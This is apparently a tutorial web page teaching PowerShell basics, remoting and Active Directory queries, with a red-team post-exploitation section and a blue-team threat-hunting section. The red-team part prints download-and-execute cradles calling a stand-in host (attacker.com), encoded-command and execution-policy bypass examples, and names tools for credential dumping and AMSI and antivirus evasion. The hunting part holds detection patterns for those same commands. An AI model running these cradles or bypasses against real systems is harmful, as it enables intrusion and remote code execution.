The complete, in-depth guide to PowerShell — from cmdlets and pipelines to advanced scripting. The most powerful automation tool for Windows administrators, red teamers, and blue teamers alike.
PowerShell is Microsoft's task automation and configuration management framework. First released in 2006, it combines a command-line shell with a scripting language built on the .NET framework. Unlike traditional shells (CMD, Bash), PowerShell works with objects, not just text.
There are two main versions:
For ethical hackers, PowerShell is a double-edged sword. It's the most powerful tool for Windows administration — and also the most abused tool in modern cyber attacks. Red teamers use it for post-exploitation; blue teamers use it to hunt threats. If you work with Windows, you must know PowerShell.
Automate every Windows task — backups, deployments, user management.
Work with objects, not text. Filter, sort, and manipulate structured data.
Manage thousands of machines via WinRM and PowerShell Remoting.
Post-exploitation, lateral movement, and C2 frameworks use PowerShell.
Hunt threats, parse logs, and respond to incidents with PS scripts.
Manage cloud infrastructure and Microsoft 365 via PowerShell.
Press Win + X and select "Windows PowerShell" or "Terminal". For admin tasks, choose "Windows PowerShell (Admin)".
# Print text
Write-Host "Hello, Ethical Hacker!"
# Get current date
Get-Date
# List files
Get-ChildItem
# Get current user
whoami
PowerShell cmdlets follow a Verb-Noun pattern, making them self-documenting:
| Verb | Purpose | Example |
|---|---|---|
Get | Retrieve data | Get-Process |
Set | Modify data | Set-Item |
New | Create new | New-Item |
Remove | Delete | Remove-Item |
Start | Start service/process | Start-Process |
Stop | Stop service/process | Stop-Process |
Invoke | Execute | Invoke-Command |
# Get help for a cmdlet
Get-Help Get-Process
# Show examples only
Get-Help Get-Process -Examples
# Update help documentation
Update-Help
# Find commands by keyword
Get-Command *service*
# Show cmdlet syntax
Get-Command Get-Process -Syntax
PowerShell is object-oriented. When you run a command, you get back objects with properties and methods — not just text. This is a game-changer for automation.
# Get processes (returns objects)
$processes = Get-Process
# Access properties
$processes | Select-Object Name, CPU, WorkingSet
# Filter by property
$processes | Where-Object { $_.CPU -gt 100 }
# Sort objects
$processes | Sort-Object CPU -Descending | Select-Object -First 10
# Get object type
$processes[0].GetType()
# See all properties and methods
$processes[0] | Get-Member
The pipeline (|) passes objects from one cmdlet to the next. Unlike Bash (where you pass text), PowerShell passes rich objects with properties intact.
# Filter — only matching objects pass through
Get-Process | Where-Object { $_.Name -like "chrome*" }
# Select specific properties
Get-Process | Select-Object Name, Id, CPU
# Sort results
Get-Process | Sort-Object CPU -Descending
# Group by property
Get-Process | Group-Object Company
# Measure count, sum, average
Get-Process | Measure-Object CPU -Sum -Average
# Format output
Get-Process | Format-Table Name, CPU -AutoSize
# Export to CSV
Get-Process | Export-Csv processes.csv -NoTypeInformation
# Top 5 memory-consuming processes
Get-Process | Sort-Object WorkingSet -Descending |
Select-Object -First 5 Name, @{N='RAM(MB)';E={[math]::Round($_.WorkingSet/1MB,2)}}
# Find stopped services set to auto-start
Get-Service | Where-Object { $_.StartType -eq 'Automatic' -and $_.Status -eq 'Stopped' }
# List files modified in last 24 hours
Get-ChildItem -Recurse | Where-Object {
$_.LastWriteTime -gt (Get-Date).AddDays(-1)
}
# Variables (start with $)
$target = "192.168.1.1"
$port = 22
$is_open = $true
# String interpolation
Write-Host "Scanning $target on port $port"
# Arrays
$ports = 21, 22, 80, 443
$ports += 8080
# Loop through array
foreach ($p in $ports) {
Write-Host "Port: $p"
}
# Hashtables (key-value pairs)
$target_info = @{
IP = "192.168.1.1"
Port = 22
OS = "Windows"
}
Write-Host $target_info.IP
$target_info["Port"]
# Custom objects (PSCustomObject)
$result = [PSCustomObject]@{
Target = "192.168.1.1"
Status = "Online"
Ports = $ports
}
# If / ElseIf / Else
$port = 443
if ($port -eq 22) {
Write-Host "SSH"
} elseif ($port -eq 443) {
Write-Host "HTTPS"
} else {
Write-Host "Unknown"
}
# Switch
switch ($port) {
22 { Write-Host "SSH" }
80 { Write-Host "HTTP" }
443 { Write-Host "HTTPS" }
default { Write-Host "Unknown" }
}
# For loop
for ($i = 1; $i -le 5; $i++) {
Write-Host $i
}
# While loop
$n = 0
while ($n -lt 5) {
Write-Host $n
$n++
}
# ForEach-Object (pipeline version)
1..5 | ForEach-Object { Write-Host $_ }
| Operator | Meaning |
|---|---|
-eq | Equal |
-ne | Not equal |
-gt / -ge | Greater than / or equal |
-lt / -le | Less than / or equal |
-like | Wildcard match |
-match | Regex match |
-contains | Collection contains |
-in | Value in collection |
function Test-Port {
param(
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[int]$Port = 22
)
try {
$tcp = New-Object System.Net.Sockets.TcpClient
$tcp.Connect($ComputerName, $Port)
$tcp.Close()
return $true
} catch {
return $false
}
}
# Usage
Test-Port -ComputerName "192.168.1.1" -Port 443
function Get-OpenPort {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[string]$ComputerName,
[int[]]$Ports = @(21, 22, 80, 443)
)
process {
foreach ($port in $Ports) {
$result = Test-NetConnection -ComputerName $ComputerName `
-Port $port -WarningAction SilentlyContinue
if ($result.TcpTestSucceeded) {
[PSCustomObject]@{
Host = $ComputerName
Port = $port
Status = "Open"
}
}
}
}
}
# Usage
Get-OpenPort -ComputerName "192.168.1.1"
# Save functions in MyTools.psm1, then:
Import-Module .\MyTools.psm1
# List imported modules
Get-Module
# List commands in a module
Get-Command -Module MyTools
# Navigate
Set-Location C:\Users
Get-Location
Get-ChildItem -Force
# Create / remove
New-Item -ItemType Directory -Name MyFolder
New-Item -ItemType File -Name notes.txt
Remove-Item notes.txt
Remove-Item MyFolder -Recurse
# Copy / move
Copy-Item file.txt C:\Backup\
Move-Item file.txt C:\Archive\
# Read content
Get-Content file.txt
Get-Content file.txt -Tail 10
# Write content
"Hello" | Out-File output.txt
Add-Content output.txt "More data"
Set-Content output.txt "Overwrites file"
# Search inside files
Select-String -Path *.log -Pattern "error"
# Copy wordlist of targets
Get-Content targets.txt | ForEach-Object {
Test-Connection -Count 1 -Quiet $_
}
PowerShell Remoting lets you run commands on remote machines over WinRM (port 5985/5986). Essential for managing fleets of Windows servers — and a common technique in lateral movement.
# Enable remoting on local machine (admin)
Enable-PSRemoting -Force
# One-to-one interactive session
Enter-PSSession -ComputerName DC01
# One-to-many (run on multiple machines)
Invoke-Command -ComputerName DC01, DC02, WEB01 `
-ScriptBlock { Get-Service WinRM }
# Persistent session
$s = New-PSSession -ComputerName DC01
Invoke-Command -Session $s -ScriptBlock { whoami }
Remove-PSSession $s
# With credentials
$cred = Get-Credential
Invoke-Command -ComputerName DC01 -Credential $cred `
-ScriptBlock { Get-Process }
PowerShell is the way to manage Active Directory at scale. These commands are essential for sysadmins and red teamers alike.
# Import AD module
Import-Module ActiveDirectory
# List all users
Get-ADUser -Filter *
# Find users with "admin" in name
Get-ADUser -Filter { Name -like "*admin*" } |
Select-Object SamAccountName, Enabled
# List domain admins (juicy for red team)
Get-ADGroupMember -Identity "Domain Admins"
# Find computers that haven't logged in for 90 days
$days = (Get-Date).AddDays(-90)
Get-ADComputer -Filter { LastLogonTimeStamp -lt $days } `
-Properties LastLogonTimeStamp
# Find Kerberoastable accounts (red team)
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } `
-Properties ServicePrincipalName
# Get all groups
Get-ADGroup -Filter * | Select-Object Name, GroupCategory
PowerShell is the #1 post-exploitation tool on Windows. It's installed everywhere, trusted by the OS, and can run in memory without touching disk. Here are the key techniques used by red teams (for authorized engagements only).
# Download and run a script in memory
IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/payload.ps1")
# Using Invoke-WebRequest
$s = Invoke-WebRequest -Uri "http://attacker.com/payload.ps1" -UseBasicParsing
Invoke-Expression $s.Content
# Base64-encoded command (bypasses some filters)
$cmd = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$b64 = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $b64
# Bypass execution policy for current session
Set-ExecutionPolicy Bypass -Scope Process
# Run script with bypass (from CMD)
powershell -ExecutionPolicy Bypass -File script.ps1
# Check current policy
Get-ExecutionPolicy -List
Classic collection of PowerShell exploitation scripts.
Post-exploitation C2 framework built on PowerShell.
AD reconnaissance — enumerate users, groups, ACLs, trusts.
Dump credentials from memory via PowerShell.
Offensive PowerShell scripts — reverse shells, keyloggers, exfil.
Bypass the Anti-Malware Scan Interface for undetected execution.
Obfuscate PowerShell scripts to evade AV and EDR.
Modern .NET C2 framework with PowerShell support.
Blue teamers use PowerShell to hunt threats, parse logs, and respond to incidents at scale.
# Get failed login attempts (Event ID 4625)
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4625
} -MaxEvents 50 |
Select-Object TimeCreated, Message
# Get PowerShell script block logging (Event ID 4104)
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Where-Object { $_.Id -eq 4104 } |
Select-Object TimeCreated, Message -First 20
# Find suspicious encoded commands
Get-WinEvent -LogName 'Security' |
Where-Object { $_.Message -match "-EncodedCommand|-enc " }
# Find processes with suspicious command lines
Get-CimInstance Win32_Process |
Where-Object {
$_.CommandLine -match "downloadstring|iex|invoke-expression"
} | Select-Object Name, CommandLine, ProcessId
# Find suspicious scheduled tasks
Get-ScheduledTask | Where-Object {
$_.TaskPath -notlike "\Microsoft\*"
} | Select-Object TaskName, State
# Find recently modified executables in user dirs
Get-ChildItem $env:APPDATA, $env:TEMP -Recurse -Include *.exe, *.ps1 |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
Get-Help — Every cmdlet has built-in documentation.Get-Verb shows the list. Use Get-, Set-, New-.try/catch and -ErrorAction.-WhatIf and -Confirm — Test destructive operations safely.Get-Credential, never hardcode.<# #> — Use help-based comments for advanced functions.# Enforce strict error handling
$ErrorActionPreference = "Stop"
Set-StrictMode -Version Latest
# Safe delete with -WhatIf
Remove-Item C:\Temp\* -Recurse -WhatIf
# Then actually delete after confirming
Remove-Item C:\Temp\* -Recurse -Confirm
Guided Windows and Active Directory rooms for learning pentesting.
Realistic Windows machines and AD labs.
Game of Active Directory — free, full AD lab on your own hardware.
Build a full detection lab with Windows, AD, and logging.
Spin up a Windows Server + Windows 10 lab in VirtualBox.
Free official PowerShell training and documentation.
PowerShell is the most powerful automation tool on Windows — bar none. Whether you're a sysadmin managing thousands of servers, a red teamer performing post-exploitation, or a blue teamer hunting threats, PowerShell is essential to your workflow.
Its combination of object-oriented pipelines, deep Windows integration, and remote management makes it uniquely powerful. And because it's installed by default on every modern Windows system, it's also the most trusted execution environment — which makes it a favorite for attackers.
The journey follows a clear path:
Get-Command, Get-Help, Get-Member.Get-Process | Sort-Object CPU -Descending | Select-Object -First 10. Then write your first function. Then import it into a module. Within weeks, you'll be automating like a pro.
Happy hacking — ethically. 🪟